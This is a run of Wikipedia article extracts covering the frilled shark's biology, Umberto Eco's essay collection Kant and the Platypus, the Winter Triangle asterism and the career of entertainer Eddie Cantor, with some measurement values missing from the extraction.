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241294 | https://en.wikipedia.org/wiki/Frilled%20shark | Frilled shark | The frilled shark (Chlamydoselachus anguineus) and the southern African frilled shark (Chlamydoselachus africana) are the two extant species of shark in the family Chlamydoselachidae. The frilled shark is considered a living fossil, because of its primitive, anguilliform (eel-like) physical traits, such as a dark-brown color, amphistyly (the articulation of the jaws to the cranium), and a –long body, which has dorsal, pelvic, and anal fins located towards the tail. The common name, frilled shark, derives from the fringed appearance of the six pairs of gill slits at the shark's throat.
The two species of frilled shark are distributed throughout regions of the Atlantic and the Pacific oceans, usually in the waters of the outer continental shelf and of the upper continental slope, where the sharks usually live near the ocean floor, near biologically productive areas of the ecosystem. To live on a diet of cephalopods, smaller sharks, and bony fish, the frilled shark practices diel vertical migration to feed at night at the surface of the ocean. When hunting food, the frilled shark moves like an eel, bending and lunging to capture and swallow whole prey with its long and flexible jaws, which are equipped with 300 recurved, needle-like teeth.
Reproductively, the two species of frilled shark, C. anguineus and C. africana, are aplacental viviparous animals, born of an egg, without a placenta to the mother shark. Contained within chondrichthyes (egg capsules) the shark embryos develop in the body of the mother shark; at birth, the infant sharks emerge from their egg capsules in the uterus, where they feed on yolk. Although it has no distinct breeding season, the gestation period of the frilled shark can be up to 3.5 years long, to produce a litter of 2–15 shark pups. Usually caught as bycatch in commercial fishing, the frilled shark has some economic value as a meat and as fishmeal; and has been caught from depths of , although its occurrence is uncommon below ; whereas in Suruga Bay, Japan, the frilled shark commonly occurs at depths of .
Taxonomy and phylogeny
The zoologist Ludwig Döderlein first identified, described, and classified the frilled shark as a discrete species of shark. After three years (1879–1881) of marine research in Japan, Döderlein took two specimen sharks to Vienna, but lost the taxonomic manuscript of the research. Three years later, in the Bulletin of the Essex Institute (vol. XVI, 1884) the zoologist Samuel Garman published the first taxonomy of the frilled shark, based upon his observations, measurements, and descriptions of a –long female shark from Sagami Bay, Japan. In the article "An Extraordinary Shark" Garman classified the new species of shark within its own genus and family, and named it Chlamydoselachus anguineus (eel-like shark with frills). The Graeco–Latin nomenclature of the frilled shark derives from the Greek chlamy (frill) and selachus (shark), and the Latin anguineus (like an eel); besides its common name, the frilled shark also is known as the "lizard shark" and as the "scaffold shark".
The frilled-shark is considered a “living fossil”, because its family lineage dates to the Carboniferous period. Initially, marine scientists considered the frilled shark a living, evolutionary representative of the extinct elasmobranchii subclass of cartilaginous fish (rays, sharks, skates, sawfish); because the shark's body featured primitive anatomic traits, such as long jaws with trident-shaped, multi-cusp teeth; amphistyly, the direct articulation of the jaws to the cranium, at a point behind the eyes; and a quasi-cartilaginous notochord (a proto-spinal-column) composed of indistinct vertebrae. From that anatomy, Garman proposed that the frilled shark was related to the cladodont sharks of the Cladoselache genus that existed during the Devonian period (419–359 mya) in the Palaeozoic era (541–251 mya). In contrast to Garman's thesis, the ichthyologist Theodore Gill and the paleontologist Edward Drinker Cope, suggested that the frilled shark's evolutionary tree indicated relation to the Hybodontiformes (hybodonts), which were the dominant species of shark during the Mesozoic era (252–66 mya); and Cope categorized the Chlamydoselachus anguineus species to the fossil genus Xenacanthus that existed from the late Devonian period to the end of the Triassic period of the Mesozoic era.
The anatomic traits of body, muscle, and skeleton phylogenically include the frilled shark to the neoselachian clade (modern sharks and rays) which relates it to the cow shark, in the order Hexanchiformes. In addition, a genetic analysis conducted by researchers in 2016 may also suggest that the species is part of the order Hexanchiformes. Nonetheless, as a systematist of biology, the ichthyologist Shigeru Shirai proposed the Chlamydoselachiformes taxonomic order exclusively for the C. anguinesis and the C. africana species of frilled sharks. As a marine animal, the frilled shark is a living fossil because of its relatively unchanged anatomy and physique, since first appearing in the primeval seas of the Late Cretaceous (ca. 95 mya) and the Late Jurassic (150 mya) epochs. In evolutionary terms, the frilled shark is an animal species of recent occurrence in the natural history of the Earth; the earliest discoveries of the fossilized teeth of the Chlamydoselachus anguineus species of shark date to the early Pleistocene epoch (2.58–11.70 mya). In 2009, marine biologists identified, described, and classified the Chlamydoselachus africana (southern African frilled shark) of the Atlantic waters of southern Angola and of southern Namibia as a species of frilled shark different from the Chlamydoselachus anguineus identified in 1884.
Habitat and distribution
The habitats of the frilled shark include the waters of the outer continental shelf and the upper-to-middle continental slope, favoring upwellings and other biologically productive areas. Usually, the shiver lives close to the ocean floor, yet its diet of cephalopods, smaller sharks, and bony fish, indicates that the frilled shark practices diel vertical migration, and swims up to feed at night at the surface of the ocean. In their Atlantic- and Pacific-ocean habitats, frilled sharks practice spatial segregation determined by the individual size, the sex, and the reproductive condition of each shark in the shiver. In Suruga Bay, on the Pacific coast of Honshu, Japan, the frilled shark is most common at the depth of , except in the August-to-November period, when the temperature at the water-layer exceeds , and then the sharks swim into deeper, cooler water.
In the eastern Atlantic Ocean, the frilled shark occurs off northern Norway, northern Scotland, and western Ireland, ranging from France to Morocco, the archipelago of Madeira, and the coast of Mauritania, in northwest Africa. In the central Atlantic Ocean, the frilled shark has been caught along the region of the Mid-Atlantic Ridge, ranging from north of the Azores islands to the Rio Grande Rise, off southern Brazil, and the Vavilov Ridge, off West Africa. Frilled sharks tend to be very solitary organisms, interacting with multiple individuals of their kind is rare. However, in the late 2000s a large capture was made over an underwater seamount of the Mid-Atlantic ridge, hauling in over 30 frilled sharks. The mass capture of a wide variety of male and female specimens emphasized these seamounts as a location for the mating of the species. In the western Atlantic, the frilled shark occurs in the waters of New England and Georgia, in the US, and in the waters of Suriname, in the northeastern coast of South America.
In the western Pacific Ocean, the frilled shark ranges from southeastern Honshu, Japan, north to Taiwan, off the coast of China, to the coast of New South Wales, Australia, and the islands of Tasmania and New Zealand. In the central and eastern Pacific Ocean, the frilled shark occurs in the regional waters of Hawaii and the coast of California, in the US, and the northern coast of Chile, in western South America. Although it has been caught at the depth of , the frilled shark usually does not occur deeper than .
Description
The eel-like bodies of C. anguineus and C. africana differ anatomically; C. anguineus has a longer head and shorter gill slits, a spinal column with more vertebrae (160–171 vs. 147), and a lower-intestine spiral valve with more turns (35–49 vs. 26–28) than does C. africana. The skin color of either species ranges from uniformly dark-brown to uniformly grey. In addition, C. anguineus has smaller pectoral fins than C. africana, and the mouth is narrower. The recorded, maximum body-length of a male frilled shark is , and the recorded, maximum body-length of a female frilled shark is .
The head of the frilled shark is broad and flat, with a short, rounded snout. The nostrils are vertical slits, separated by a flap of skin that forms the incurrent opening and the excurrent opening. The moderately large eyes are horizontal ellipsoids, which have no nictitating membrane, which is a protective, third-eyelid. Ligaments articulate the long jaws to the cranium, and the corners of the mouth have neither furrows nor folds. The jaws contain 300 trident-shaped teeth, each needle-tooth has a cusp and two cusplets; the rows of teeth are widely spaced, with 19–28 tooth rows in the upper jaw, and 21–29 tooth rows in the lower jaw. Frilled sharks are able to open jaws and devour food sources that are considerably greater than that of their size, this is a physical trait that is present in gulper eels and viperfish. At the throat, there are six pairs of long gill slits; the first pair of gill slits form a collar, while the extended tips of the gill filaments create a fleshy frill, hence, the frilled shark name of this fish.
The pectoral fins are short and rounded; the single, small dorsal fin has a rounded margin, and is positioned at the far end of the body, approximately opposite the anal fin. The pelvic and the anal fins are large, broad, and rounded, and are positioned to the tail-end of the frilled shark's body. The very long caudal fin is a triangular tail that has neither a lower lobe nor a ventral notch in the upper lobe, and has a margin equipped with sharp, chisel-shaped dermal denticles, which the shark can enlarge. The underside of the shark's eel-like body features a pair of long, thick folds of skin, separated by a groove, which run the length of the belly; the function of the ventral skin-folds is unknown. In the female frilled shark, the mid-section is of the body longer, with the pelvic fins located closer to the anal fin.
Biology and ecology
A cartilaginous skeleton and a large liver (filled with low-density lipids) are the mechanical means with which the frilled shark controls and maintains its buoyancy in the deep waters of the ocean. The shark has an open, lateral-line organ system featuring mechanoreceptor hair cells in grooves exposed to the ocean environment; such a basal clade configuration enhances the frilled shark's perception and detection of changes in the movement, the vibration, and the pressure of the surrounding water. Like all animals, the frilled shark is afflicted by parasites, such as the Monorygma tapeworm, the trematoda flatworm, the Otodistomum veliporum, and the Mooleptus rabuka nematode; and by predators, such as other sharks, as indicated by missing tail-tips lost to a hungry attacker.
In New Zealand, the Takatika Grit, in the Chatham Islands, yielded frilled-shark, bird, and conifer-cone fossils that dated to the time of the Cretaceous–Paleogene boundary (66.043 ± 0.011 mya) which suggested that the sharks lived inland, in shallow bodies of water far from the ocean. The shallow-water frilled shark had larger, stronger teeth, suitable for eating mollusks; scarcity and plenty of food are indicated in the tooth's morphology of sharper points (cusps) oriented into the mouth. From the Late Paleocene epoch (66–56 mya) until the contemporary era, other species of sharks out-matched the Chlamydoselachus sharks in competition for feeding grounds and living space, which restricted their geographic distribution to the deep-water ocean. Regarding the frilled shark's survival of the mass-extinction event which occurred at the Cretaceous–Paleogene time-boundary, one hypothesis proposes that the sharks survived in bodies of shallow water, both inland and on the continental shelf; afterwards, the frilled shark migrated to deep-water habitats.
Diet
The frilled shark eats a diet of cephalopods, sea slugs, smaller sharks, and bony fish; 60 percent of the diet is composed of squid varieties, such as the Chiroteuthis, the Histioteuthis, and the Onychoteuthis, the Sthenoteuthis and the Todarodes; and other sharks, as indicated by the stomach contents of a –long frilled shark which had swallowed a Japanese catshark (Apristurus japonicus). The high tendency to primarily consume the squids in their habitat can be supported by the frequent observation of beak remnants left behind during digestive processes.
In hunting and eating prey that are tired or exhausted or dying (after spawn), the frilled shark's physiology suggests that it may curve its anguilline body, and brace its rear fins against the water, for leverage to effect a rapid-strike bite that captures the prey. The wide gape of the distended, long jaws allows devouring whole prey that are more than half the size of the frilled shark, itself. The jaws' 300 recurved teeth (19–28 upper rows and 21–29 lower rows) readily snag and capture the soft body and tentacles of a cephalopod, especially with the rows of trident-shaped teeth are rotated outwards, when the jaws are open and protruded. Moreover, unlike the strong bite of sharks with an underslung jaw attached below the cranium, the frilled shark has a relatively weak bite, because of the limited leverage and force possible with long jaws that are directly articulated to the cranium, at a point behind the eyes.
The behavior of captive specimen sharks suggests that the frilled shark also hunts with its mouth open, by using the dark-and-light contrast of white teeth and darkness to lure prey into its gaping maw; and also hunts with negative pressure, to suck prey into its maw. Forensic examination of frilled sharks' revealed little-to-no food in their stomachs, which suggests that the frilled shark either has a fast-rate of digestion or goes hungry in the long intervals between feedings.
Reproduction
The extant species of frilled shark, C. anguineus and C. africana, do not have a defined breeding season, because their oceanic habitats register no seasonal influence from the ocean's surface; the male shark reaches sexual maturity when he is long, and the female shark reaches sexual maturity when she is long. The mature female shark has two ovaries and a uterus, which is in the right side of her body; ovulation occurs fortnightly; and pregnancy ceases vitellogenesis (yolk formation) and the production of new ova. Both ovulated eggs and early-stage shark embryos are enclosed in chondrichthyes, ellipsoid egg-cases made of a thin, golden-brown membrane.
Reproductively, the frilled shark is an ovoviviparous animal born from an encapsulated egg retained within the mother shark's uterus. During gestation, the shark embryos develop in membranous egg-cases contained within the body of the mother shark, when the infant sharks emerge from their egg capsules in the uterus they feed on yolk until birth. The frilled-shark embryo is long, has a pointed head, slightly developed jaws, nascent external gills, and possesses all fins. The growth of the jaw for elasmobranchs seem to begin early in the embryonic stage, however, it has been observed not to be the case for frilled sharks. The elongation of the jaws seemed to begin later in embryonic development. This leads to some studies suggesting that the terminal position of their mouth, due to anterior elongation of the jaw, is a derived trait instead of ancestral. When the embryo is long, the mother shark expels the egg capsule, at which developmental stage the frilled shark's external gills are developed. Throughout embryonic development, the size of the yolk sac remains constant, until the shark embryo is long, whereupon the sac shrinks until disappearing when the embryo has grown to in length. In the course of pregnancy, the embryo's average rate-of-growth is per month until birth, when the shark pups are long, therefore, the frilled shark's gestation period can be as long as 3.5 years; at birth, a frilled shark's litter comprises 2–15 pups, with an average litter comprises 6.0 pups.
Shark and human interaction
In pursuit of food, the frilled shark usually is a bycatch of commercial fishing, accidentally caught in the nets used for trawl-, gillnet-, and longline-fishing. In Japan, at Suruga Bay, the frilled shark is usually caught in the gillnets used to catch sea bream and gnomefish, and in the trawl nets used to catch shrimp in the mid-waters of the ocean. Despite being a nuisance fish that damages fishing nets, the economic and commercial value of the frilled shark is as fishmeal and as meat.
In 2004, marine biologists first observed the frilled shark (Chlamydoselachus anguineus) at the depth of , in its deep-water habitat at the Blake Plateau, off the southeastern coast of the U.S. In 2007, a Japanese fisherman caught a –long female frilled shark at the surface of the ocean and delivered it to the Awashima Marine Park, at Shizuoka city, where the shark died after hours of captivity. In 2014, a trawler fishing-boat caught a –long frilled shark in –deep water at Lakes Entrance, Victoria, Australia; later, the Commonwealth Scientific and Industrial Research Organisation (CSIRO) confirmed that the shark was a Chlamydoselachus anguineus, an eel-like shark with a frill.
In 2016, consequent to the depletion of food sources caused by commercial overfishing of the feeding areas of the shark's deep-water habitat, and because of the shark's slow rate of reproduction, the International Union for the Conservation of Nature (IUCN) classified the frilled shark as a fish species under near-threat of extinction, and then reclassified it as a species of Least Concern of extinction. In 2018, the New Zealand Threat Classification System identified the frilled shark as an animal "At Risk — Naturally Uncommon", not easily found living in the wild.
See also
List of sharks
References
External links
ABC News video
Chlamydoselachus anguineus, Frilled shark at FishBase
Deep Sea: Frilled Shark at ReefQuest Centre for Shark Research
Frilled Shark - Video at Check123 - Video Encyclopedia
Chlamydoselachidae
Extant Pleistocene first appearances
Fish described in 1884 | [
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241296 | https://en.wikipedia.org/wiki/Kant%20and%20the%20Platypus | Kant and the Platypus | Kant and the Platypus: Essays on Language and Cognition () is a book by Umberto Eco which was published in Italian as Kant e l'ornitorinco in 1997. An English edition, translated by Alastair McEwen, appeared in 1999.
The book develops some aspects of Eco's A Theory of Semiotics which came out in 1976.
In the first chapter Eco argues against Nietzsche's assertion that the truth is a poetically elaborated "mobile army of metaphors, metonymies and anthropomorphisms" that subsequently get into knowledge, "illusions whose illusory nature has been forgotten".
In chapter two, working with ideas derived from Charles Sanders Peirce and Immanuel Kant, Eco compares linguistic and perceptual meaning when confronted with the unencountered.
Chapter three explores the Aztec encounter with the horse in terms of Cognitive Type, the private mechanism that allows identification of an object, and of Nuclear Content, which clarifies the relevant features inter-subjectively. To this is added Molar Content, which provides a much broader range of knowledge, even if restricted to specific competences. From these he develops an understanding of social elements in the organisation of knowledge.
In chapter four he discusses the different ordering of knowledge with a dictionary and an encyclopedia - that is, the differences between categorical knowledge and knowledge by properties. Using the example of the arrival of the first platypus in Europe, Eco looks at the problem faced by scientists in their attempts to classify the creature for eighty years, and at the contractual nature of the negotiations that produce shared meaning.
In chapter five Eco discusses the Sarkiiapone, an animal whose sole nature is that it is fictive. He then discusses how the meaning of a term is affected by the context, using examples to tease out different meanings.
Chapter six deals with iconism and hypoicon. Eco compares and contrasts "likeness" and "similarity" in relation to perception and conception. To this end he addresses basic semiotic processes that take place within perception and provide determinations from which cognitive types can be constructed, with all the cultural baggage that is involved.
See also
Schema (Kant) Footnote in Section 3.1.3.5
1997 essays
Italian essays
Books by Umberto Eco
Books in semiotics | [
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241298 | https://en.wikipedia.org/wiki/Winter%20Triangle | Winter Triangle | The Winter Triangle is an astronomical asterism formed from three of the brightest stars in the winter sky. It is an imaginary equilateral triangle drawn on the celestial sphere, with its defining vertices at Sirius, Betelgeuse, and Procyon, the primary stars in the three constellations of Canis Major, Orion, and Canis Minor, respectively.
Visibility
For much of the night in the northern winter, the Winter Triangle is high in the sky at mid-northern latitudes, but can also be seen during autumn in the early morning to the East. In the spring the winter triangle is visible early in the evening to the West before its stars set below the horizon. From the southern hemisphere it appears upside down and lower in the sky during the summer months.
The Winter Triangle surrounds most of the faint constellation Monoceros, although its brightest stars are of fourth magnitude and hardly noticeable to the naked eye. The triangle includes two first magnitude stars, while Sirius is even brighter. The other bright stars of the winter sky lie around the triangle: Orion including Rigel; Aldebaran in Taurus; Castor and Pollux in Gemini; and Capella in Auriga.
The stars of the Winter Triangle
See also
Spring Great Diamond
Summer Triangle
Winter Hexagon
Northern Cross
References
External links
Winter Triangle Night Sky
Deep sky objects inside the Winter Triangle
Winter Triangle at constellation guide
Winter Triangle Jim Kaler's stars
Asterisms (astronomy) | [
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241300 | https://en.wikipedia.org/wiki/Eddie%20Cantor | Eddie Cantor | Eddie Cantor (born Isidore Itzkowitz; January 31, 1892 – October 10, 1964) was an American "illustrated song" performer, comedian, dancer, singer, vaudevillian, actor, and songwriter. Familiar to Broadway, radio, movie, and early television audiences, this "Apostle of Pep" was regarded almost as a family member by millions because his top-rated radio shows revealed intimate stories and amusing anecdotes about his wife Ida and five daughters. Some of his hits include "Makin' Whoopee", "Ida (Sweet as Apple Cider)", "If You Knew Susie", "Ma! He's Making Eyes at Me", “Mandy”, "My Baby Just Cares for Me”, "Margie", and "How Ya Gonna Keep 'em Down on the Farm (After They've Seen Paree)?" He also wrote a few songs, including "Merrily We Roll Along", the Merrie Melodies Warner Bros. cartoon theme.
His eye-rolling song-and-dance routines eventually led to his nickname "Banjo Eyes". In 1933, artist Frederick J. Garner caricatured Cantor with large round eyes resembling the drum-like pot of a banjo. Cantor's eyes became his trademark, often exaggerated in illustrations, and leading to his appearance on Broadway in the musical Banjo Eyes (1941).
His charity and humanitarian work was extensive, and he helped to develop March of Dimes; he is credited with coining its name. Cantor was awarded an honorary Oscar in 1956 for distinguished service to the film industry.
Early life
Reports and accounts of Cantor's early life often conflict with one another. What is known is that he was born in New York City, the son of Mechel Iskowitz (also Michael), an amateur violinist, and his wife Meta Kantrowitz Iskowitz (also Maite), a young Jewish couple from Russia. It is generally accepted that he was born in 1892, though the day is subject to debate, with either January 31 or Rosh Hashanah, which was on September 10 or September 11, being reported. Although it was reported Cantor was an orphan, his mother dying in childbirth and his father of pneumonia, official records say otherwise; Meta died from complications of tuberculosis in July 1894 and the fate of Mechel is unclear, as no death certificate exists for him. There is also discrepancy as to his name; both his 1957 autobiography and The New York Times obituary for Cantor listed his birth name as Isidore Iskowitch but articles published after the 20th century list his birth name as Edward Israel Itzkowitz. His grandmother, Esther Kantrowitz (died January 29, 1917), took custody of him, and referred to him as Izzy and Itchik, both diminutives for Isidor, and his last name, due to a clerical error, was thought to be Kantrowitz and shortened to Kanter. No birth certificate existed for him, not unusual for someone born in New York in the 19th century.
Stage
Saloon songs to vaudeville
By his early teens, Cantor began winning talent contests at local theaters and started appearing on stage. One of his earliest paying jobs was doubling as a waiter and performer, singing for tips at Carey Walsh's Coney Island saloon, where a young Jimmy Durante accompanied him on piano. He made his first public appearance in Vaudeville in 1907 at New York's Clinton Music Hall. In 1912, he was the only performer over the age of 20 to appear in Gus Edwards's Kid Kabaret, where he created his first blackface character "Jefferson". He later toured with Al Lee as the team Cantor and Lee. Critical praise from that show got the attention of Broadway's top producer Florenz Ziegfeld, who gave Cantor a spot in the Ziegfeld rooftop post-show, Midnight Frolic (1917).
Broadway
A year later, Cantor made his Broadway debut in the Ziegfeld Follies of 1917. He continued in the Follies until 1927, a period considered the best years of the long-running revue. For several years, Cantor co-starred in an act with pioneer comedian Bert Williams, both appearing in blackface; Cantor played Williams's fresh-talking son. Other co-stars with Cantor during his time in the Follies included Will Rogers, Marilyn Miller, Fanny Brice, and W.C. Fields. He moved on to stardom in book musicals, starting with Kid Boots (1923) and Whoopee! (1928). On tour with Banjo Eyes, he romanced the unknown Jacqueline Susann, who had a small part in the show and who became the best-selling author of Valley of the Dolls.
Ziegfeld Follies of 1917 – revue – performer
Ziegfeld Follies of 1918 – revue – performer, co-composer and co-lyricist for "Broadway's Not a Bad Place After All" with Harry Ruby
Ziegfeld Follies of 1919 – revue – performer, lyricist for "(Oh! She's the) Last Rose of Summer"
Ziegfeld Follies of 1920 – revue – composer for "Green River", composer and lyricist for "Every Blossom I See Reminds Me of You" and "I Found a Baby on My Door Step"
The Midnight Rounders of 1920 – revue – performer
Broadway Brevities of 1920 – revue – performer
Make It Snappy (1922) – revue – performer, co-bookwriter
Ziegfeld Follies of 1923 – revue – sketch writer
Kid Boots (1923) – musical comedy – actor in the role of "Kid Boots" (the Caddie Master)
Ziegfeld Follies of 1927 – revue – performer, co-bookwriter
Whoopee! (1928) – musical comedy – actor in the role of "Henry Williams"
Eddie Cantor at the Palace (1931) – solo performance
Banjo Eyes (1941) – musical comedy – actor in the role of "Erwin Trowbridge"
Nellie Bly (1946) – musical comedy – co-producer
Radio and recordings
Radio
Cantor appeared on radio as early as February 3, 1922, as indicated by this news item from Connecticut's Bridgeport Telegram:
Local radio operators listened to one of the finest programs yet produced over the radiophone last night. The program of entertainment which included some of the stars of Broadway musical comedy and vaudeville was broadcast from the Newark, New Jersey station WDY and the Pittsburgh, Pennsylvania station KDKA, both of the Westinghouse Electric and Manufacturing Company. The Newark entertainment started at 7 o'clock: a children's half-hour of music and fairy stories; 7:[35?], Hawaiian airs and violin solo; 8:00, news of the day; and at 8:20, a radio party with nationally known comedians participating; 9:55, Arlington time signals and 10:01, a government weather report. G.E. Nothnagle, who conducts a radiophone station at his home 176 Waldemere Avenue said last night that he was delighted with the program, especially with the numbers sung by Eddie Cantor. The weather conditions are excellent for receiving, he continued, the tone and the quality of the messages was fine.
Cantor's appearance with Rudy Vallee on Vallee's The Fleischmann's Yeast Hour on February 5, 1931, led to a four-week tryout with The Chase and Sanborn Hour. Replacing Maurice Chevalier, who was returning to Paris, Cantor joined Chase and Sanborn on September 13, 1931. This hour-long Sunday evening variety series teamed Cantor with announcer Jimmy Wallington and violinist Dave Rubinoff. The show established Cantor as a leading comedian, and his scriptwriter, David Freedman, as "the Captain of Comedy". Freedman's team included, among others, Samuel "Doc" Kurtzman, who also wrote for song-and-dance man, Al Jolson, and the comedian Jack Benny. Cantor soon became the world's highest-paid radio star. His shows began with a crowd chanting "We want Can-tor! We want Can-tor!", a phrase said to have originated in vaudeville, when the audience chanted to chase off an act on the bill before Cantor. Cantor's theme song was his own lyric to the Leo Robin/Richard Whiting song, "One Hour with You". His radio sidekicks included Bert Gordon, (comic Barney Gorodetsky, AKA The Mad Russian) and Harry Parke (better known as Parkyakarkus). Cantor also discovered and helped guide the career of singer Dinah Shore, first featuring her on his radio show in 1940, as well as other performers, including Deanna Durbin, Bobby Breen in 1936, and Eddie Fisher in 1949.
Indicative of his effect on the mass audience, he agreed in November 1934 to introduce a new song by the songwriters J. Fred Coots and Haven Gillespie that other well-known artists had rejected as being "silly" and "childish". The song, "Santa Claus Is Comin' to Town", immediately had orders for 100,000 copies of sheet music the next day. It sold 400,000 copies by Christmas of that year.
His NBC radio show Time to Smile was broadcast from 1940 to 1946, followed by his Pabst Blue Ribbon Show from 1946 through 1949. He also served as emcee of Take It or Leave It during 1949–1950, and hosted a weekly disc jockey program for Philip Morris during the 1952–1953 season. In addition to film and radio, Cantor recorded for Hit of the Week Records, then again for Columbia, for Banner and Decca and various small labels.
In the early 1960s, he syndicated the short radio segment "Ask Eddie Cantor".
His heavy political involvement began early in his career, including his participation in the strike to form Actors Equity in 1919, provoking the anger of father figure and producer, Florenz Ziegfeld. At the 1939 New York World's Fair, Cantor publicly denounced antisemitic radio personality Father Charles Coughlin and then was dropped by his radio sponsor Camel cigarettes. A year and a half later, Cantor was able to return to the air because of help from his friend Jack Benny.
Recordings
Cantor began making phonograph records in 1917, recording both comedy songs and routines and popular songs of the day, first for Victor, then for Aeoleon-Vocalion, Pathé, and Emerson. From 1921 through 1925, he had an exclusive contract with Columbia Records, returning to Victor for the remainder of the decade.
Cantor was one of the era's most successful entertainers, but the 1929 stock market crash took away his multimillionaire status and left him deeply in debt. However, Cantor's relentless attention to his own earnings to avoid the poverty he knew growing up caused him to use his writing talent, quickly building a new bank account with his highly popular, bestselling books of humor and cartoons about his experience, Caught Short! A Saga of Wailing Wall Street in 1929 "A.C." (After Crash), and Yoo-Hoo, Prosperity!
Cantor was also a composer, with his most famous song seldom attributed to him. In 1935, along with Charles Tobias (Ida's brother) and Murray Mencher, Cantor wrote "Merrily We Roll Along". It was adapted as the theme song for the Merrie Melodies series of animated cartoons, distributed by Warner Brothers Pictures between 1936 and 1964. Cantor himself was frequently caricatured in Warner cartoons of the period, (see Film and television: Animation).
Film and television
Cantor also made numerous film appearances. He had previously appeared in a number of short films, performing his Follies songs and comedy routines, and two silent features (Special Delivery and Kid Boots) in the 1920s. He was offered the lead in The Jazz Singer after it was turned down by George Jessel. Cantor also turned the role down (so it went to Al Jolson), but he became a leading Hollywood star in 1930 with the film version of Whoopee!, shot in two-color Technicolor. He continued making films over the next two decades until his last starring role in If You Knew Susie (1948). From 1950 to 1954, Cantor was a regular guest host on the television variety series The Colgate Comedy Hour.
On May 25, 1944, pioneer television station WPTZ (now KYW-TV) in Philadelphia presented a special, all-star telecast which was also seen in New York over WNBT (now WNBC) and featured cut-ins from their Rockefeller Center studios. Cantor, one of the first major stars to agree to appear on television, was to sing "We're Havin' a Baby, My Baby and Me". Arriving shortly before airtime at the New York studios, Cantor was reportedly told to cut the song because the NBC New York censors considered some of the lyrics too risqué. Cantor refused, claiming no time to prepare an alternative number. NBC relented, but the sound was cut and the picture blurred on certain lines in the song. This is considered the first instance of television censorship.
In 1950, he became the first of several hosts alternating on the NBC television variety show The Colgate Comedy Hour, in which he would introduce musical acts, stage and film stars and play comic characters such as "Maxie the Taxi". In the spring of 1952, Cantor landed in an unlikely controversy when a young Sammy Davis, Jr., appeared as a guest performer. Cantor embraced Davis and mopped Davis's brow with his handkerchief after his performance. When worried sponsors led NBC to threaten cancellation of the show, Cantor's response was to book Davis for two more weeks. Cantor suffered a heart attack following a September 1952 Colgate broadcast, and thereafter, curtailed his appearances until his final program in 1954. In 1955, he appeared in a filmed series for syndication and a year later, appeared in two dramatic roles ("George Has A Birthday", on NBC's Matinee Theatre broadcast in color, and "Size.man and Son" on CBS's Playhouse 90). He continued to appear as a guest on several shows, and was last seen on the NBC color broadcast of The Future Lies Ahead on January 22, 1960, which also featured Mort Sahl.
Animation
Cantor appears in caricature form in numerous Looney Tunes cartoons produced for Warner Bros., although he was often voiced by an imitator. Beginning with I Like Mountain Music (1933), other animated Cantor cameos include Shuffle Off to Buffalo (Harman-Ising, 1933) and Billboard Frolics (Friz Freleng, 1935). Eddie Cantor is one of the four "down on their luck" stars (along with Bing Crosby, Al Jolson, and Jack Benny) snubbed by Elmer Fudd in What’s Up, Doc? (Bob McKimson, 1950). In Farm Frolics (Bob Clampett, 1941), a horse, asked by the narrator to "do a canter", promptly launches into a singing, dancing, eye-rolling impression. The Cantor gag that got the most mileage, however, was his oft-repeated wish for a son after five famous daughters. Slap-Happy Pappy (Clampett, 1940) features an "Eddie Cackler" rooster that wants a boy, to little avail. Other references can be found in Baby Bottleneck (Clampett, 1946) and Circus Today (Tex Avery, 1940). In Merrie Melodies, The Coo-Coo Nut Grove Cantor's many daughters are referenced by a group of singing quintuplet girls. In Porky’s Naughty Nephew (Clampett, 1938) a swimming Cantor gleefully adopts a "buoy". An animated Cantor also appears prominently in Walt Disney's "Mother Goose Goes Hollywood" (Wilfred Jackson, 1938) as Little Jack Horner, who sings "Sing a Song of Sixpence".
Books and merchandising
Cantor's popularity led to merchandising of such products as Eddie Cantor's Tell It to the Judge game from Parker Brothers. In 1933, Brown and Bigelow published a set of 12 Eddie Cantor caricatures by Frederick J. Garner. The advertising cards were purchased in bulk as a direct-mail item by such businesses as auto body shops, funeral directors, dental laboratories, and vegetable wholesale dealers. With the full set, companies could mail a single Cantor card each month for a year to their selected special customers as an ongoing promotion. Cantor was often caricatured on the covers of sheet music and in magazines and newspapers. Cantor was depicted as a balloon in the Macy's Thanksgiving Day Parade, one of the very few balloons based on a real person.
In addition to Caught Short!, Cantor wrote or co-wrote at least seven other books, including booklets released by the then-fledgling firm of Simon & Schuster, with Cantor's name on the cover. (Some were "as told to" or written with David Freedman.) Customers paid a dollar and received the booklet with a penny embedded in the hardcover. They sold well, and H.L. Mencken asserted that the books did more to pull America out of the Great Depression than all government measures combined.
Activism and philanthropy
Cantor was the second president of the Screen Actors Guild, serving from 1933 to 1935.
He invented the title "The March of Dimes" for the donation campaigns of the National Foundation for Infantile Paralysis, which was organized to combat polio. It was a play on The March of Time newsreels popular at the time. He began the first campaign on his radio show in January 1938, asking listeners to mail a dime to President Franklin D. Roosevelt. At that time, Roosevelt was the most notable American victim of polio. Other entertainers joined in the appeal via their own shows, and the White House mail room was deluged with 2,680,000 dimes—a large sum at the time.
Cantor also recorded a spoken introduction on a 1938 Decca recording of "Alexander's Ragtime Band" by Bing Crosby and Connie Boswell in which he thanks to the listener for buying the record, which supported the National Foundation for Infantile Paralysis. That record hit No. 1 on the charts, though Cantor did not sing on it . A lifelong Democrat, Cantor supported Adlai Stevenson during the 1952 presidential election.
Tributes
Cantor was profiled on This Is Your Life, a program in which an unsuspecting person (usually a celebrity) would be surprised on live television by host Ralph Edwards, with a half-hour tribute. Cantor was the only subject who was told of the "surprise" in advance; he was recovering from a heart attack, and it was felt that the shock might harm him.
On October 29, 1995, as part of a nationwide celebration of the 75th anniversary of radio, Cantor was posthumously inducted into the Radio Hall of Fame at Chicago's Museum of Broadcasting Communication.
Warner Bros., in an attempt to duplicate the box-office success of The Jolson Story, filmed a big-budget Technicolor feature film The Eddie Cantor Story (1953). The film found an audience but might have done better with someone else in the leading role. Actor Keefe Brasselle played Cantor as a caricature with high-pressure dialogue and bulging eyes wide open; the fact that Brasselle was considerably taller than Cantor did not lend realism. Eddie and Ida Cantor were seen in a brief prologue and epilogue set in a projection room, where they are watching Brasselle in action; at the end of the film, Eddie tells Ida "I never looked better in my life"... and gives the audience a knowing, incredulous look. George Burns, in his memoir All My Best Friends, claimed that Warner Bros. created a miracle producing the movie in that "it made Eddie Cantor's life boring".
Something closer to the real Eddie Cantor story is his self-produced feature Show Business (1944), a valentine to vaudeville and show folks, which was RKO's top-grossing film that year.
Probably the best summary of Cantor's career is on one of the Colgate Comedy Hour shows. Re-issued on DVD as Eddie Cantor in Person, the hour-long episode is a virtual video autobiography, with Eddie recounting his career, singing his greatest hits, and recreating his singing-waiter days with another vaudeville legend, his old pal Jimmy Durante.
